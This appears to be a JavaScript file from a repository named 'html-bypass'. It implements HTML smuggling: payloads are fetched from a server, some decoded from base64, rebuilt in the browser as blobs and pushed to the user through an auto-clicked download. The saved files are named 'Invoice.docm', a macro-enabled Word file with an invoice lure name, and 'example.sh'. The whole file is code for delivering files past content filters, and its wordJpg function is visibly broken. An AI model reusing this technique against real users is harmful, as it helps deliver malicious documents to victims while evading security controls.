html-bypass/assets/scripts.js

92 lines
3.4 KiB
JavaScript
Raw Permalink Normal View History

2023-09-13 15:12:44 +02:00
function wordBase64() {
const url = "/download/word/?type=base64";
fetch(url)
.then(response => response.text()) // Convert the response to text
.then(base64 => {
// Convert to binary data
const binaryData = atob(base64.replace(/^.*,/, ''));
// Create byte array
const byteNumbers = new Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteNumbers[i] = binaryData.charCodeAt(i);
}
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blobData);
// Get the link element by its ID
const link = document.getElementById("download")
link.href = downloadUrl;
link.download = "Invoice.docm";
link.click();
URL.revokeObjectURL(downloadUrl)
})
.catch(error => {
// Handle any errors that may occur during the fetch
console.error("Error fetching the document:", error);
});
}
function wordJpg() {
const url = "/download/word/?type=jpg";
fetch(url)
.then(response => response.blob()) // Convert the response to text
.then(binaryData => {
// Create byte array
const byteNumbers = new Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteNumbers[i] = binaryData.charCodeAt(i);
}
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blob);
// Get the link element by its ID
const link = document.getElementById("download")
link.href = downloadUrl;
link.download = "Invoice.docm";
link.click();
URL.revokeObjectURL(downloadUrl)
})
.catch(error => {
// Handle any errors that may occur during the fetch
console.error("Error fetching the document:", error);
});
}
function shBase64() {
const url = "/download/sh/?type=base64";
fetch(url)
.then(response => response.text()) // Convert the response to text
.then(base64 => {
// Convert to binary data
const binaryData = atob(base64.replace(/^.*,/, ''));
// Create byte array
const byteNumbers = new Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteNumbers[i] = binaryData.charCodeAt(i);
}
// Create blob
const blobData = new Blob([new Uint8Array(byteNumbers)], {type: 'application/octet-stream'});
// Trigger download
const downloadUrl = URL.createObjectURL(blobData);
// Get the link element by its ID
const link = document.getElementById("download")
link.href = downloadUrl;
link.download = "example.sh";
link.click();
URL.revokeObjectURL(downloadUrl)
})
.catch(error => {
// Handle any errors that may occur during the fetch
console.error("Error fetching the document:", error);
});
}